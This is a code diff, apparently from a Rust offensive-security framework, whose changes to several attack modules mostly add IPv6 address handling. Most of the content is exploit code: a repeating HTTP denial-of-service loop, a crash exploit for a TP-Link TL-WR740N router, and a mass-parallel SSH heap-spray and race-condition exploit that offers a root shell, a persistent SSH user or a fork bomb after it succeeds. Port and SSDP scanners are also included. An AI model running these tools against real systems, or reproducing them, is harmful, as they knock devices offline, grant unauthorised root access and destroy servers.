let target = normalize_target_host(raw_target);
|
||||
|
||||
// Create HTTP client with insecure certs accepted and 5s timeout
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
.danger_accept_invalid_certs(true)
|
||||
@@ -83,7 +98,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stop_flag_clone = Arc::clone(&stop_flag);
|
||||
|
||||
// Spawn a thread to monitor user input
|
||||
// Monitor stdin for "stop" command
|
||||
thread::spawn(move || {
|
||||
let stdin = io::stdin();
|
||||
for line in stdin.lock().lines() {
|
||||
@@ -97,11 +112,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
});
|
||||
|
||||
// Infinite concurrent execution loop
|
||||
// Continuous dual PoC attack until user stops
|
||||
while !stop_flag.load(Ordering::Relaxed) {
|
||||
let (r1, r2) = join!(
|
||||
dos_missing_parameters(&client, target),
|
||||
dos_memory_corruption(&client, target)
|
||||
dos_missing_parameters(&client, &target),
|
||||
dos_memory_corruption(&client, &target)
|
||||
);
|
||||
|
||||
if let Err(e) = r1 {
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
// Tested on: TP-Link TL-WR740N
|
||||
|
||||
// Description:
|
||||
// There exist a buffer overflow vulnerability in TP-Link TL-WR740 router
|
||||
// There exists a buffer overflow vulnerability in TP-Link TL-WR740 router
|
||||
// that can allow an attacker to crash the web server running on the router
|
||||
// by sending a crafted request. To bring back the http (webserver),
|
||||
// a user must physically reboot the router.
|
||||
@@ -18,8 +18,22 @@ use std::io;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
/// Normalize IP to handle IPv6 and multiple brackets
|
||||
fn normalize_ip(ip: &str) -> String {
|
||||
// Remove all surrounding brackets
|
||||
let mut ip = ip.trim_matches('[').trim_matches(']').to_string();
|
||||
// Add brackets for IPv6
|
||||
if ip.contains(':') && !ip.starts_with('[') {
|
||||
ip = format!("[{}]", ip);
|
||||
}
|
||||
ip
|
||||
}
|
||||
|
||||
/// Internal function to send crafted request to crash router
|
||||
async fn exploit(ip: &str, port: u16, username: &str, password: &str) -> Result<()> {
|
||||
async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<()> {
|
||||
// Normalize the IP for correct URL formatting
|
||||
let ip = normalize_ip(ip);
|
||||
|
||||
// Create a crash pattern of exact 192 characters using "crash_crash_on_a_loop_"
|
||||
let crash_pattern = "crash_crash_on_a_loop_";
|
||||
let repeated = crash_pattern.repeat(9); // 9*22 = 198 > 192
|
||||
@@ -67,7 +81,7 @@ async fn exploit(ip: &str, port: u16, username: &str, password: &str) -> Result<
|
||||
}
|
||||
|
||||
// Check if the host is still up — timeout after 1 second
|
||||
match timeout(Duration::from_secs(1), TcpStream::connect((ip, port))).await {
|
||||
match timeout(Duration::from_secs(1), TcpStream::connect((ip.trim_matches(&['[', ']'][..]), port))).await {
|
||||
Ok(Ok(_)) => {
|
||||
println!("[!] Target still responds on port {}. DoS likely failed.", port);
|
||||
}
|
||||
@@ -96,5 +110,5 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
io::stdin().read_line(&mut password)?;
|
||||
let password = password.trim();
|
||||
|
||||
exploit(target, port, username, password).await
|
||||
execute(target, port, username, password).await
|
||||
}
|
||||
|
||||
@@ -1,14 +1,17 @@
|
||||
use anyhow::{bail, Result};
|
||||
use std::{
|
||||
io::{self, BufRead, Read, Write},
|
||||
net::TcpStream,
|
||||
os::unix::io::AsRawFd,
|
||||
process::Command,
|
||||
sync::Arc,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use libc::{fcntl, F_GETFL, F_SETFL, O_NONBLOCK};
|
||||
use tokio::{sync::Semaphore, task};
|
||||
use std::io::{stdin, stdout, Write, BufRead};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::time::{sleep, Duration, Instant};
|
||||
use tokio::process::Command;
|
||||
use tokio::sync::Semaphore;
|
||||
use futures_util::stream::{FuturesUnordered, StreamExt};
|
||||
use rand::Rng;
|
||||
use std::sync::Arc;
|
||||
use anyhow::{Result, bail};
|
||||
use std::io::ErrorKind;
|
||||
|
||||
|
||||
|
||||
|
||||
// // Shellcode to inject
|
||||
const SHELLCODE: &[u8] = b"\x90\x90\x90\x90";
|
||||
@@ -19,48 +22,72 @@ const LOGIN_GRACE_TIME: f64 = 120.0;
|
||||
// // Max size of a crafted packet
|
||||
const MAX_PACKET_SIZE: usize = 256 * 1024;
|
||||
// // Max parallel attempts at once
|
||||
const MAX_PARALLEL_ATTEMPTS: usize = 200;
|
||||
|
||||
|
||||
|
||||
// 2 MiB alignment
|
||||
const GLIBC_ALIGN: u64 = 0x0020_0000;
|
||||
// Lower/upper bounds for your target’s glibc region
|
||||
const GLIBC_LOWER: u64 = 0x7ffff7000000;
|
||||
const GLIBC_UPPER: u64 = 0x7ffff9000000;
|
||||
|
||||
// Precompute how many slots are in that range
|
||||
fn glibc_steps() -> u64 {
|
||||
((GLIBC_UPPER - GLIBC_LOWER) / GLIBC_ALIGN) + 1
|
||||
}
|
||||
|
||||
/// On-the-fly random, 2 MiB-aligned glibc base
|
||||
fn random_glibc_base() -> u64 {
|
||||
let steps = glibc_steps();
|
||||
let idx = rand::rng().random_range(0..steps);
|
||||
GLIBC_LOWER + idx * GLIBC_ALIGN
|
||||
}
|
||||
|
||||
// // Align memory chunks
|
||||
fn chunk_align(s: usize) -> usize {
|
||||
(s + 15) & !15
|
||||
}
|
||||
|
||||
// // Set socket to non-blocking
|
||||
fn set_nonblocking(sock: i32) {
|
||||
unsafe {
|
||||
let flags = fcntl(sock, F_GETFL);
|
||||
fcntl(sock, F_SETFL, flags | O_NONBLOCK);
|
||||
|
||||
|
||||
// NEW: Normalize target address (IPv4, IPv6 with any bracket mess)
|
||||
fn normalize_target(ip: &str, port: u16) -> Result<String> {
|
||||
let ip = ip.trim_matches(|c| c == '[' || c == ']'); // Remove any number of [ ]
|
||||
if ip.contains(':') && !ip.contains('.') {
|
||||
Ok(format!("[{}]:{}", ip, port)) // IPv6 must have brackets
|
||||
} else {
|
||||
Ok(format!("{}:{}", ip, port)) // IPv4 or hostname
|
||||
}
|
||||
}
|
||||
|
||||
// // Create TCP connection to target
|
||||
fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let stream = TcpStream::connect(addr)?;
|
||||
set_nonblocking(stream.as_raw_fd());
|
||||
async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
|
||||
let addr = normalize_target(ip, port)?;
|
||||
let stream = TcpStream::connect(addr).await?;
|
||||
Ok(stream)
|
||||
}
|
||||
|
||||
|
||||
// // Send custom SSH packet
|
||||
fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
|
||||
async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
|
||||
let len = data.len() + 5;
|
||||
let mut packet = vec![0u8; len];
|
||||
packet[0..4].copy_from_slice(&(len as u32).to_be_bytes());
|
||||
packet[4] = packet_type;
|
||||
packet[5..].copy_from_slice(data);
|
||||
stream.write_all(&packet)?;
|
||||
stream.write_all(&packet).await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
// // Receive response with retry
|
||||
fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
|
||||
async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
|
||||
loop {
|
||||
match stream.read(buf) {
|
||||
match stream.read(buf).await {
|
||||
Ok(n) if n > 0 => return Ok(n),
|
||||
Ok(_) => bail!("Connection closed"),
|
||||
Err(ref e) if e.kind() == io::ErrorKind::WouldBlock => {
|
||||
std::thread::sleep(Duration::from_millis(10));
|
||||
Err(ref e) if e.kind() == ErrorKind::WouldBlock => {
|
||||
sleep(Duration::from_millis(1)).await;
|
||||
continue;
|
||||
}
|
||||
Err(e) => return Err(e.into()),
|
||||
@@ -68,91 +95,98 @@ fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// // Send SSH version string
|
||||
fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
|
||||
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n")?;
|
||||
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
|
||||
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
// // Receive SSH version from server
|
||||
fn receive_ssh_version(stream: &mut TcpStream) -> Result<()> {
|
||||
async fn receive_ssh_version(stream: &mut TcpStream) -> Result<()> {
|
||||
let mut buffer = [0u8; 256];
|
||||
recv_retry(stream, &mut buffer)?;
|
||||
recv_retry(stream, &mut buffer).await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
// // Send SSH KEX INIT packet
|
||||
fn send_kex_init(stream: &mut TcpStream) -> Result<()> {
|
||||
async fn send_kex_init(stream: &mut TcpStream) -> Result<()> {
|
||||
let payload = vec![0u8; 36];
|
||||
send_packet(stream, 20, &payload)
|
||||
send_packet(stream, 20, &payload).await
|
||||
}
|
||||
|
||||
|
||||
// // Receive KEX INIT response
|
||||
fn receive_kex_init(stream: &mut TcpStream) -> Result<()> {
|
||||
async fn receive_kex_init(stream: &mut TcpStream) -> Result<()> {
|
||||
let mut buffer = [0u8; 1024];
|
||||
recv_retry(stream, &mut buffer)?;
|
||||
recv_retry(stream, &mut buffer).await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// // Perform SSH handshake steps
|
||||
fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
|
||||
send_ssh_version(stream)?;
|
||||
receive_ssh_version(stream)?;
|
||||
send_kex_init(stream)?;
|
||||
receive_kex_init(stream)?;
|
||||
|
||||
async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
|
||||
send_ssh_version(stream).await?;
|
||||
receive_ssh_version(stream).await?;
|
||||
send_kex_init(stream).await?;
|
||||
receive_kex_init(stream).await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// // Heap spraying phase
|
||||
fn prepare_heap(stream: &mut TcpStream) -> Result<()> {
|
||||
async fn prepare_heap(stream: &mut TcpStream) -> Result<()> {
|
||||
for _ in 0..10 {
|
||||
let data = vec![b'A'; 64];
|
||||
send_packet(stream, 5, &data)?;
|
||||
send_packet(stream, 5, &data).await?;
|
||||
}
|
||||
for _ in 0..27 {
|
||||
let large = vec![b'B'; 8192];
|
||||
let small = vec![b'C'; 320];
|
||||
send_packet(stream, 5, &large)?;
|
||||
send_packet(stream, 5, &small)?;
|
||||
send_packet(stream, 5, &large).await?;
|
||||
send_packet(stream, 5, &small).await?;
|
||||
}
|
||||
for _ in 0..27 {
|
||||
let mut fake = vec![0u8; 4096];
|
||||
create_fake_file_structure(&mut fake, GLIBC_BASES[0]);
|
||||
send_packet(stream, 5, &fake)?;
|
||||
send_packet(stream, 5, &fake).await?;
|
||||
}
|
||||
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
|
||||
send_packet(stream, 5, &large_fill)?;
|
||||
send_packet(stream, 5, &large_fill).await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// // Craft fake file structure in buffer
|
||||
fn create_fake_file_structure(data: &mut [u8], base: u64) {
|
||||
data.fill(0);
|
||||
let len = data.len();
|
||||
data[len - 16..len - 8].copy_from_slice(&base.wrapping_add(0x21b740).to_le_bytes());
|
||||
data[len - 8..len].copy_from_slice(&base.wrapping_add(0x21d7f8).to_le_bytes());
|
||||
}
|
||||
|
||||
// // Send malformed public key and measure delay
|
||||
fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
|
||||
async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
|
||||
let error_packet = if error_type == 1 {
|
||||
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3".to_vec()
|
||||
} else {
|
||||
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9".to_vec()
|
||||
};
|
||||
|
||||
let start = Instant::now();
|
||||
send_packet(stream, 50, &error_packet)?;
|
||||
let _ = stream.read(&mut [0u8; 1024]);
|
||||
send_packet(stream, 50, &error_packet).await?;
|
||||
|
||||
let mut buf = [0u8; 1024];
|
||||
let _ = stream.read(&mut buf).await;
|
||||
|
||||
Ok(start.elapsed().as_secs_f64())
|
||||
}
|
||||
|
||||
|
||||
// // Calculate parsing delay
|
||||
fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
|
||||
let t1 = measure_response_time(stream, 1)?;
|
||||
let t2 = measure_response_time(stream, 2)?;
|
||||
async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
|
||||
let t1 = measure_response_time(stream, 1).await?;
|
||||
let t2 = measure_response_time(stream, 2).await?;
|
||||
Ok(t2 - t1)
|
||||
}
|
||||
|
||||
fn create_fake_file_structure(buf: &mut [u8], base: u64) {
|
||||
if buf.len() >= 8 {
|
||||
buf[..8].copy_from_slice(&base.to_le_bytes());
|
||||
}
|
||||
}
|
||||
|
||||
// // Create packet with shellcode and fake structures
|
||||
fn create_public_key_packet(buffer: &mut [u8], base: u64) {
|
||||
buffer.fill(0);
|
||||
@@ -166,15 +200,19 @@ fn create_public_key_packet(buffer: &mut [u8], base: u64) {
|
||||
}
|
||||
|
||||
// // Attempt to trigger race condition
|
||||
fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, base: u64) -> Result<bool> {
|
||||
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, base: u64) -> Result<bool> {
|
||||
let mut payload = vec![0u8; MAX_PACKET_SIZE];
|
||||
create_public_key_packet(&mut payload, base);
|
||||
stream.write_all(&payload[..payload.len() - 1])?;
|
||||
let start = Instant::now();
|
||||
while start.elapsed().as_secs_f64() < (LOGIN_GRACE_TIME - parsing_time - 0.001) {}
|
||||
stream.write_all(&payload[payload.len() - 1..])?;
|
||||
|
||||
stream.write_all(&payload[..payload.len() - 1]).await?;
|
||||
|
||||
let wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
|
||||
sleep(Duration::from_secs_f64(wait_time)).await;
|
||||
|
||||
stream.write_all(&payload[payload.len() - 1..]).await?;
|
||||
|
||||
let mut buf = [0u8; 1024];
|
||||
match stream.read(&mut buf) {
|
||||
match stream.read(&mut buf).await {
|
||||
Ok(n) if n > 0 && !buf.starts_with(b"SSH-2.0-") => Ok(true),
|
||||
Ok(0) => Ok(true),
|
||||
Err(_) => Ok(true),
|
||||
@@ -182,6 +220,7 @@ fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, base: u64) -
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// // Execute post-exploitation action
|
||||
fn post_exploit_action(option: u8) {
|
||||
match option {
|
||||
@@ -208,95 +247,107 @@ fn post_exploit_action(option: u8) {
|
||||
|
||||
// // Entry point for auto-dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("warning high resource usage Caustion!!!");
|
||||
println!("560k request in 5 seconds");
|
||||
println!("Select post-exploitation action:");
|
||||
println!(" 1. Remote Root Shell");
|
||||
println!(" 2. Persistence (create SSH user)");
|
||||
println!(" 3. Server Destruction (fork bomb)");
|
||||
|
||||
let stdin = io::stdin();
|
||||
let stdin = stdin();
|
||||
let mut choice = String::new();
|
||||
print!("Enter option [1-3]: ");
|
||||
io::stdout().flush()?;
|
||||
stdout().flush()?;
|
||||
stdin.lock().read_line(&mut choice)?;
|
||||
let mode: u8 = choice.trim().parse().unwrap_or(0);
|
||||
if !(1..=3).contains(&mode) {
|
||||
bail!("Invalid option.");
|
||||
}
|
||||
|
||||
println!("Do you want to run more than 10,000 attempts? [y/N]");
|
||||
println!("Do you want to run more than 10,000 attempts? [y/N or a number like 90000]");
|
||||
let mut input = String::new();
|
||||
stdin.lock().read_line(&mut input)?;
|
||||
let extra = input.trim().eq_ignore_ascii_case("y");
|
||||
let trimmed = input.trim();
|
||||
|
||||
let mut attempts = 10000;
|
||||
if extra {
|
||||
if trimmed.eq_ignore_ascii_case("y") {
|
||||
println!("Enter total number of attempts:");
|
||||
input.clear();
|
||||
stdin.lock().read_line(&mut input)?;
|
||||
attempts = input.trim().parse::<usize>().unwrap_or(10000);
|
||||
} else if let Ok(n) = trimmed.parse::<usize>() {
|
||||
attempts = n;
|
||||
}
|
||||
|
||||
// // Parse IP and port — if missing, prompt for port
|
||||
let (ip, port) = if let Some((ip_part, port_part)) = target.split_once(':') {
|
||||
(ip_part.to_string(), port_part.parse::<u16>()?)
|
||||
let (ip, port) = if let Some((ip_part, port_part)) = target.rsplit_once(':') {
|
||||
let ip_clean = ip_part.trim_matches(|c| c == '[' || c == ']');
|
||||
(ip_clean.to_string(), port_part.parse::<u16>()?)
|
||||
} else {
|
||||
// // Prompt for port if not included in the target string
|
||||
println!("No set target ip:port specified. Enter SSH port for {}: ", target);
|
||||
print!("Port: ");
|
||||
io::stdout().flush()?;
|
||||
stdout().flush()?;
|
||||
let mut port_input = String::new();
|
||||
io::stdin().lock().read_line(&mut port_input)?;
|
||||
stdin.lock().read_line(&mut port_input)?;
|
||||
let port = port_input.trim().parse::<u16>()?;
|
||||
(target.to_string(), port)
|
||||
(target.trim_matches(|c| c == '[' || c == ']').to_string(), port)
|
||||
};
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(MAX_PARALLEL_ATTEMPTS));
|
||||
let semaphore = Arc::new(Semaphore::new(100_000));
|
||||
let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
|
||||
|
||||
for &base in &GLIBC_BASES {
|
||||
println!("[*] Trying GLIBC base 0x{:x}", base);
|
||||
let mut handles = vec![];
|
||||
for attempt in 0..attempts {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let ip = ip.clone();
|
||||
let _mode = mode;
|
||||
|
||||
for attempt in 0..attempts {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let ip = ip.clone();
|
||||
let handle = task::spawn(async move {
|
||||
let _permit = permit;
|
||||
if attempt % 1000 == 0 {
|
||||
println!("[*] Attempt {}/{}", attempt, attempts);
|
||||
}
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
let mut stream = match setup_connection(&ip, port) {
|
||||
Ok(s) => s,
|
||||
Err(_) => return false,
|
||||
};
|
||||
if attempt % 1000 == 0 {
|
||||
println!("[*] Attempt {}/{}", attempt, attempts);
|
||||
}
|
||||
|
||||
if perform_ssh_handshake(&mut stream).is_err() {
|
||||
return false;
|
||||
}
|
||||
// === NEW: pick a random glibc base each attempt ===
|
||||
let base = random_glibc_base();
|
||||
|
||||
if prepare_heap(&mut stream).is_err() {
|
||||
return false;
|
||||
}
|
||||
let mut stream = match setup_connection(&ip, port).await {
|
||||
Ok(s) => s,
|
||||
Err(_) => return Ok(false),
|
||||
};
|
||||
|
||||
let Ok(parsing_time) = time_final_packet(&mut stream) else {
|
||||
return false;
|
||||
};
|
||||
if perform_ssh_handshake(&mut stream).await.is_err() {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
attempt_race_condition(stream, parsing_time, base).unwrap_or(false)
|
||||
});
|
||||
if prepare_heap(&mut stream).await.is_err() {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
let Ok(parsing_time) = time_final_packet(&mut stream).await else {
|
||||
return Ok(false);
|
||||
};
|
||||
|
||||
for h in handles {
|
||||
if h.await.unwrap_or(false) {
|
||||
Ok(attempt_race_condition(stream, parsing_time, base).await.unwrap_or(false))
|
||||
}));
|
||||
}
|
||||
|
||||
while let Some(result) = tasks.next().await {
|
||||
match result {
|
||||
Ok(Ok(true)) => {
|
||||
println!("[+] Exploit succeeded!");
|
||||
post_exploit_action(mode);
|
||||
return Ok(());
|
||||
}
|
||||
Ok(Ok(false)) => continue,
|
||||
Ok(Err(e)) => {
|
||||
eprintln!("[!] Exploit error: {}", e);
|
||||
continue;
|
||||
}
|
||||
Err(join_err) => {
|
||||
eprintln!("[!] Join error: {}", join_err);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
println!("[-] Exploit failed with base 0x{:x}", base);
|
||||
}
|
||||
|
||||
println!("[-] All attempts exhausted.");
|
||||
|
||||
@@ -2,7 +2,7 @@ use anyhow::Result;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{self, Write},
|
||||
net::SocketAddr,
|
||||
net::{SocketAddr, ToSocketAddrs},
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::{
|
||||
@@ -66,6 +66,7 @@ pub async fn run_with_settings(
|
||||
scan_udp_enabled: bool,
|
||||
output_file: &str,
|
||||
) -> Result<()> {
|
||||
let target = normalize_target(target)?;
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let mut tasks = vec![];
|
||||
let mut file = File::create(output_file)?;
|
||||
@@ -74,7 +75,7 @@ pub async fn run_with_settings(
|
||||
println!("[*] Starting TCP scan...");
|
||||
for port in 1..=65535 {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let target = target.to_string();
|
||||
let target = target.clone();
|
||||
let mut file = file.try_clone()?;
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
@@ -103,7 +104,7 @@ pub async fn run_with_settings(
|
||||
println!("[*] Starting UDP scan...");
|
||||
for port in 1..=65535 {
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let target = target.to_string();
|
||||
let target = target.clone();
|
||||
let mut file = file.try_clone()?;
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
@@ -155,10 +156,14 @@ async fn scan_tcp(ip: &str, port: u16, timeout_secs: u64) -> Option<(String, Str
|
||||
/// UDP scan (null packet, timeout-based)
|
||||
async fn scan_udp(ip: &str, port: u16, timeout_secs: u64) -> Option<String> {
|
||||
let local = "0.0.0.0:0".parse::<SocketAddr>().unwrap();
|
||||
let remote = format!("{}:{}", ip, port).parse::<SocketAddr>().ok()?;
|
||||
let socket = UdpSocket::bind(local).await.ok()?;
|
||||
let remote = format!("{}:{}", ip, port);
|
||||
let remote = match normalize_addr(&remote) {
|
||||
Ok(addr) => addr,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
let _ = socket.send_to(b"\x00", remote).await;
|
||||
let socket = UdpSocket::bind(local).await.ok()?;
|
||||
let _ = socket.send_to(b"\x00", &remote).await;
|
||||
let mut buf = [0u8; 512];
|
||||
|
||||
match timeout(Duration::from_secs(timeout_secs), socket.recv_from(&mut buf)).await {
|
||||
@@ -167,6 +172,32 @@ async fn scan_udp(ip: &str, port: u16, timeout_secs: u64) -> Option<String> {
|
||||
}
|
||||
}
|
||||
|
||||
/// Normalize IP/hostname for bracket handling and clean input
|
||||
fn normalize_target(input: &str) -> Result<String> {
|
||||
let input = input.trim().trim_start_matches('[').trim_end_matches(']').trim();
|
||||
if input.contains(':') && !input.contains('.') {
|
||||
// Likely IPv6, re-add brackets
|
||||
Ok(format!("[{}]", input))
|
||||
} else {
|
||||
Ok(input.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
/// Normalize and parse into a real SocketAddr
|
||||
fn normalize_addr(input: &str) -> Result<SocketAddr> {
|
||||
// Remove extra brackets first
|
||||
let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']');
|
||||
// If IPv6, wrap again properly
|
||||
let formatted = if cleaned.contains(':') && !cleaned.contains('.') {
|
||||
format!("[{}]", cleaned)
|
||||
} else {
|
||||
cleaned.to_string()
|
||||
};
|
||||
|
||||
let addrs = formatted.to_socket_addrs()?;
|
||||
addrs.into_iter().next().ok_or_else(|| anyhow::anyhow!("Invalid address"))
|
||||
}
|
||||
|
||||
/// Prompt for string input
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}", message);
|
||||
|
||||
@@ -5,11 +5,15 @@ use std::net::SocketAddr;
|
||||
use tokio::net::UdpSocket;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
pub async fn run(target_ip: &str) -> Result<()> {
|
||||
let port = 1900;
|
||||
println!("[*] Sending SSDP M-SEARCH to {}:{}...", target_ip, port);
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let port = prompt_port().unwrap_or(1900);
|
||||
|
||||
let target = clean_ipv6_brackets(target);
|
||||
|
||||
let addr = normalize_target(&target, port)?;
|
||||
|
||||
println!("[*] Sending SSDP M-SEARCH to {}...", addr);
|
||||
|
||||
let addr = format!("{}:{}", target_ip, port);
|
||||
let local_bind: SocketAddr = "0.0.0.0:0".parse()?;
|
||||
let socket = UdpSocket::bind(local_bind).await?;
|
||||
socket.connect(&addr).await?;
|
||||
@@ -20,7 +24,7 @@ pub async fn run(target_ip: &str) -> Result<()> {
|
||||
MAN: \"ssdp:discover\"\r\n\
|
||||
MX: 2\r\n\
|
||||
ST: upnp:rootdevice\r\n\r\n",
|
||||
target_ip, port
|
||||
target, port
|
||||
);
|
||||
|
||||
socket.send(request.as_bytes()).await?;
|
||||
@@ -29,7 +33,7 @@ pub async fn run(target_ip: &str) -> Result<()> {
|
||||
match timeout(Duration::from_secs(3), socket.recv(&mut buf)).await {
|
||||
Ok(Ok(size)) => {
|
||||
let response = String::from_utf8_lossy(&buf[..size]);
|
||||
parse_ssdp_response(&response, target_ip, port);
|
||||
parse_ssdp_response(&response, &target, port);
|
||||
}
|
||||
_ => {
|
||||
println!("[-] Target did not respond to M-SEARCH request");
|
||||
@@ -39,6 +43,44 @@ pub async fn run(target_ip: &str) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Normalize the target: IPv6 -> [ipv6]:port, IPv4 stays as ipv4:port
|
||||
fn normalize_target(target: &str, port: u16) -> Result<String> {
|
||||
let addr = if target.contains(':') && !target.contains(']') {
|
||||
// Plain IPv6 without brackets
|
||||
format!("[{}]:{}", target, port)
|
||||
} else if target.contains('[') {
|
||||
// Already bracketed IPv6 (sanitize just in case)
|
||||
format!("[{}]:{}", target.trim_matches(&['[', ']'][..]), port)
|
||||
} else {
|
||||
// IPv4 or hostname
|
||||
format!("{}:{}", target, port)
|
||||
};
|
||||
Ok(addr)
|
||||
}
|
||||
|
||||
/// Cleans up accidental double or triple brackets like [[::1]] → ::1
|
||||
fn clean_ipv6_brackets(ip: &str) -> String {
|
||||
ip.trim_start_matches('[')
|
||||
.trim_end_matches(']')
|
||||
.to_string()
|
||||
}
|
||||
|
||||
/// Ask user for port (optional), fallback to 1900 if empty
|
||||
fn prompt_port() -> Option<u16> {
|
||||
println!("[*] Enter custom port (default 1900): ");
|
||||
let mut input = String::new();
|
||||
if let Ok(_) = std::io::stdin().read_line(&mut input) {
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return None;
|
||||
}
|
||||
if let Ok(p) = input.parse::<u16>() {
|
||||
return Some(p);
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
|
||||
let regexps = vec![
|
||||
("server", r"(?i)Server:\s*(.*?)\r\n"),
|
||||
|
||||
+27
-12
@@ -1,11 +1,33 @@
|
||||
// src/utils.rs
|
||||
|
||||
use colored::*;
|
||||
use std::fs;
|
||||
use std::io::{BufRead, BufReader, Error};
|
||||
use std::path::{Path};
|
||||
use std::path::Path;
|
||||
use anyhow::{Result};
|
||||
|
||||
/// Maximum folder depth to traverse
|
||||
const MAX_DEPTH: usize = 6;
|
||||
|
||||
/// Take “1.2.3.4”, “::1”, “[::1]:8080” or “hostname” and
|
||||
/// always return a valid “host:port” or “[ipv6]:port” string.
|
||||
pub fn normalize_target(raw: &str) -> Result<String> {
|
||||
if raw.contains("]:") || raw.starts_with('[') {
|
||||
// Already normalized, like [::1]:8080 or [2001:db8::1]
|
||||
return Ok(raw.to_string());
|
||||
}
|
||||
|
||||
// Looks like an unwrapped IPv6 address if it has multiple colons
|
||||
let is_ipv6 = raw.matches(':').count() >= 2;
|
||||
|
||||
if is_ipv6 {
|
||||
Ok(format!("[{}]", raw))
|
||||
} else {
|
||||
Ok(raw.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Recursively list .rs files up to a certain depth (unchanged)
|
||||
fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
|
||||
let mut modules = Vec::new();
|
||||
@@ -71,7 +93,7 @@ pub fn list_all_modules() {
|
||||
}
|
||||
}
|
||||
|
||||
/// Finds and displays modules matching a keyword
|
||||
/// Finds and displays modules matching a keyword (unchanged)
|
||||
pub fn find_modules(keyword: &str) {
|
||||
let keyword_lower = keyword.to_lowercase();
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
@@ -112,10 +134,7 @@ pub fn find_modules(keyword: &str) {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
/// Parses a single proxy line (e.g., "1.2.3.4:9050" -> "http://1.2.3.4:9050")
|
||||
/// or "socks5://127.0.0.1:9050" -> "socks5://127.0.0.1:9050"
|
||||
/// Parses a single proxy line (unchanged)
|
||||
fn parse_proxy_line(line: &str) -> String {
|
||||
let trimmed = line.trim().to_lowercase();
|
||||
if trimmed.starts_with("http://")
|
||||
@@ -123,16 +142,13 @@ fn parse_proxy_line(line: &str) -> String {
|
||||
|| trimmed.starts_with("socks4://")
|
||||
|| trimmed.starts_with("socks5://")
|
||||
{
